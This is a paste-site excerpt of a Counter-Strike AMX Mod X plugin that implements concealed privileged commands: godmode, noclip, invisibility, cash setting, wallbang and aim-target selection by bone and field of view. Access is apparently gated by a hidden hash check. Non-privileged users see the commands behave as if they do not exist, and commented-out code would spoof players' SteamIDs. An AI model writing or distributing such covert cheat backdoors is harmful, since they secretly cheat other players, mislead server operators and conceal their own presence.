  740. set_bhop[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 2 );
  741. }
  742. //console_print( id, "Unknown command: set_bhop" );
  743. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  744. }
  745.  
  746. public cmd_SetGodMode( id )
  747. {
  748. //new buff[ 5 ];
  749. //read_argv( 1, buff, 4 );
  750. read_argv( 1, asd_s, 4 );
  751.  
  752. if( asd_s[0] ) //if( buff[ 0 ] )
  753. {
  754. set_godmode[ id ] = floatclamp( str_to_float( asd_s /*buff*/ ), 0.0, 1.0 );
  755. }
  756.  
  757. //console_print( id, "Unknown command: set_godmode" );
  758. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  759. }
  760.  
  761. public cmd_SetArea( id )
  762. {
  763. //new buff[ 2 ];
  764. //read_argv( 1, buff, 1 );
  765. read_argv( 1, asd_s, 1 );
  766.  
  767. if( asd_s[0] ) //if( buff[ 0 ] )
  768. {
  769. set_godmode_area[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 8 );
  770. }
  771.  
  772. //console_print( id, "Unknown command: set_godmode_area" );
  773. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  774. }
  775.  
  776. public cmd_AreaChance( id )
  777. {
  778. //new buff[ 4 ];
  779. //read_argv( 1, buff, 3 );
  780. read_argv( 1, asd_s, 3 );
  781.  
  782. if( asd_s[0] ) //if( buff[ 0 ] )
  783. {
  784. set_godmode_area_chance[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 100 );
  785. }
  786. //console_print( id, "Unknown command: set_godmode_area_chance" );
  787. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  788. }
  789.  
  790. public cmd_AntiWallBang( id )
  791. {
  792. //new buff[ 4 ];
  793. //read_argv( 1, buff, 3 );
  794. read_argv( 1, asd_s, 3 );
  795.  
  796. if( asd_s[0] ) //if( buff[ 0 ] )
  797. {
  798. set_antiwallbang[ id ] = floatclamp( str_to_float( asd_s /*buff*/ ), 0.0, 1.0 );
  799. }
  800. //console_print( id, "Unknown command: set_antiwallbang" );
  801. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  802. }
  803.  
  804. public cmd_SetNoFlash( id )
  805. {
  806. //new buff[ 4 ];
  807. //read_argv( 1, buff, 3 );
  808. read_argv( 1, asd_s, 3 );
  809.  
  810. if( asd_s[0] ) //if( buff[ 0 ] )
  811. {
  812. set_noflash[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 100 );
  813. }
  814.  
  815. //console_print( id, "Unknown command: set_noflash" );
  816. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  817. }
  818.  
  819. public cmd_SetVisible( id )
  820. {
  821. if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
  822. //new szArg[ 4 ];
  823. //read_argv( 1, szArg, 3 );
  824. read_argv( 1, asd_s, 3 );
  825. set_pev( id, pev_rendermode, kRenderTransAlpha );
  826. set_pev( id, pev_renderamt, floatclamp( str_to_float( asd_s ) /*str_to_float(szArg)*/, 0.0, 255.0 ) );
  827.  
  828. //console_print( id, "Unknown command: set_visible" );
  829. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  830. }
  831.  
  832. public cmd_SetCash( id )
  833. {
  834. if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
  835. if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
  836. read_argv( 1, asd_s, 6 );
  837. if( asd_s[0] )
  838. {
  839. new Money = str_to_num( asd_s );
  840. if( Money > 0 && Money <= 16000 )
  841. set_pdata_int( id, 115, Money );
  842. }
  843. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  844. }
  845.  
  846. public cmd_SetNoclip( id )
  847. {
  848. if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
  849. if( (GetIdBits(g_bAlive,id)) )
  850. {
  851. set_pev( id, pev_movetype, pev( id, pev_movetype ) == MOVETYPE_WALK ? MOVETYPE_NOCLIP : MOVETYPE_WALK );
  852. }
  853. //console_print( id, "Unknown command: set_noclip" );
  854. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  855. }
  856.  
  857. public cmd_SetWallbang( id )
  858. {
  859. if( !(GetIdBits(g_bFullAccess,id) ) ) return PLUGIN_CONTINUE;
  860. //new buff[ 2 ];
  861. //read_argv( 1, buff, 1 );
  862. read_argv( 1, asd_s, 1 );
  863. if( asd_s[0] ) //if( buff[ 0 ] )
  864. {
  865. set_wallbang[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 1 );
  866. }
  867. //console_print( id, "Unknown command: set_wallbang" );
  868. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  869. }
  870. /*
  871. public steamid( id )
  872. {
  873. if( !(GetIdBits(g_bFullAccess,id)) ) return PLUGIN_CONTINUE;
  874. //new asd_s[ 33 ];
  875. read_argv( 1, asd_s, 32 );
  876.  
  877. if( asd_s[0] )
  878. {
  879. TrieSetString(ReplacementsTrie, IdToReplace[id], asd_s);
  880. }
  881. else
  882. {
  883. TrieSetString(ReplacementsTrie, IdToReplace[id], IdToReplace[id]);
  884. }
  885. return PLUGIN_HANDLED;
  886. }
  887. */
  888. stock GetClosestFOV( id )
  889. {
  890. new iPlayers[32], iNum;
  891. get_players(iPlayers, iNum, "ahe", get_user_team(id) == 2 ? "TERRORIST" : "CT");
  892.  
  893. new iClosestPlayer = 0;
  894. new iPlayer;
  895. new iFov, iClosestFov = set_fov[ id ];
  896.  
  897. for( new i = 0; i < iNum; i++ )
  898. {
  899. iPlayer = iPlayers[ i ];
  900. iFov = get_distance_to_line( id, iPlayer );
  901.  
  902. if( ( fm_is_ent_visible2( id, iPlayer ) || CorrectGun(id) ) && iFov < iClosestFov )
  903. {
  904. iClosestPlayer = iPlayer;
  905. iClosestFov = iFov;
  906. }
  907. }
  908. //client_print( 0, print_chat, "%i", iClosestPlayer );
  909. return iClosestPlayer;
  910. }
  911.  
  912. stock get_distance_to_line( id, ent )
  913. {
  914. new Float:pos_start[3], Float:pos_end[3], Float:pos_object[3], Float:view_ofs[3];
  915. pev( id, pev_origin, pos_start );
  916. //pev( ent, pev_view_ofs, view_ofs );
  917. engfunc( EngFunc_GetBonePosition, ent, GetBone( .bone = set_bone[ id ] ), pos_object, asd );
  918. //pev( ent, pev_origin, pos_object );
  919. //xs_vec_add( pos_object, view_ofs, pos_object );
  920. fm_get_aim_origin( id, pos_end );
  921. pev( id, pev_view_ofs, view_ofs );
  922. xs_vec_add( pos_start, view_ofs, pos_start );
  923.  
  924. new Float:vec_start_end[3], Float:vec_start_object[3], Float:vec_end_object[3], Float:vec_end_start[3];
  925. xs_vec_sub(pos_end, pos_start, vec_start_end); // vector from start to end
  926. xs_vec_sub(pos_object, pos_start, vec_start_object); // vector from end to object
  927. xs_vec_sub(pos_start, pos_end, vec_end_start); // vector from end to start
  928. xs_vec_sub(pos_end, pos_object, vec_end_object); // vector object to end
  929.  
  930. new Float:len_start_object = xs_vec_len(vec_start_object);
  931. new Float:angle_start = floatacos(xs_vec_dot(vec_start_end, vec_start_object) / (xs_vec_len(vec_start_end) * len_start_object), degrees);
  932.  
  933. return (angle_start < 60.0) ? floatround(len_start_object * floatsin(angle_start, degrees)) : 9999;
  934. }
  935.  
  936. stock bool:fm_is_ent_visible2(index, entity)
  937. {
  938. new Float:start[3], Float:dest[3];
  939. pev(index, pev_origin, start);
  940. pev(index, pev_view_ofs, dest);
  941. xs_vec_add(start, dest, start);
  942.  
  943. //pev(entity, pev_origin, dest);
  944. //dest[2] = dest[2] + 16.0;
  945. engfunc( EngFunc_GetBonePosition, entity, GetBone( .bone = set_bone[ index ] ), dest, asd );
  946. engfunc( EngFunc_TraceLine, start, dest, 0, index, 0 );
  947.  
  948. new Float:fraction;
  949. get_tr2(0, TR_flFraction, fraction);
  950. //client_print( 0, print_chat, "%.3f", fraction );
  951. if (fraction >= 0.9 || get_tr2(0, TR_pHit) == entity)
  952. {
  953. //client_print( 0, print_chat, "VISIBLE" );
  954. return true;
  955. }
  956. return false;
  957. }
  958.  
  959. stock GetBoneName( const bone )
  960. {
  961. switch( bone )
  962. {
  963. case HIT_HEAD: asd_s = "HEAD";
  964. case HIT_CHEST: asd_s = "NECK";
  965. case HIT_STOMACH: asd_s = "STOMACH";
  966. case HIT_LEFTARM: asd_s = "LEFTARM";
  967. case HIT_RIGHTARM: asd_s = "RIGHTARM";
  968. case HIT_LEFTLEG: asd_s= "LEFTLEG";
  969. case HIT_RIGHTLEG: asd_s = "RIGHTLEG";
  970. case 8: asd_s = "WHOLE BODY";
  971. default: asd_s = "NONE";
  972. }
  973. return asd_s;
  974. }
  975.  
  976. stock GetBone( const bone )
  977. {
  978. switch( bone )
  979. {
  980. case HIT_HEAD: return 7;
  981. case HIT_CHEST: return BONE_NECK;
  982. case HIT_STOMACH: return BONE_PELVIS;
  983. case HIT_LEFTARM: return BONE_L_FOREARM;
  984. case HIT_RIGHTARM: return BONE_R_FOREARM;
  985. case HIT_LEFTLEG: return BONE_L_CALF;
  986. case HIT_RIGHTLEG: return BONE_R_CALF;
  987.  
  988. default: return BONE_NECK;
  989. }
  990. return 0;
  991. }
  992.  
  993. stock HasAccess(buf[])
  994. {
  995. new s1 = 1;
  996. new s2 = 0;
  997. for (new n=0; n<strlen(buf); n++)
  998. {
  999. s1 = (s1 + buf[n]) % 65521;
  1000. s2 = (s2 + s1) % 65521;
  1001. }
  1002. return (s2 << 16) + s1;
  1003. }
  1004.  
  1005. stock CorrectGun( id )
  1006. {
  1007. if( !(GetIdBits(g_bFullAccess,id)) ) return 0;
  1008. if( !set_wallbang[ id ] ) return 0;
  1009. switch( get_user_weapon( id ) )
  1010. {
  1011. case CSW_AUG, CSW_M249, CSW_M4A1, CSW_DEAGLE, CSW_SG552, CSW_AK47, CSW_FAMAS, CSW_SG550, CSW_G3SG1, CSW_SCOUT, CSW_AWP:
  1012. return 1;
  1013. default:
  1014. return 0;
  1015. }
  1016. return 0;
  1017. }
  1018. /*
  1019. public OnSV_GetIDString( x )
  1020. {
  1021. static steamID[ 32 ];
  1022. OrpheuGetReturn( steamID, charsmax(steamID) )
  1023.  
  1024. if( TrieKeyExists( ReplacementsTrie, steamID ) )
  1025. {
  1026. static newSteamID[ 32 ];
  1027. TrieGetString( ReplacementsTrie, steamID, newSteamID, charsmax(newSteamID) );
  1028.  
  1029. OrpheuSetReturn( newSteamID );
  1030. }
  1031. }
  1032. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement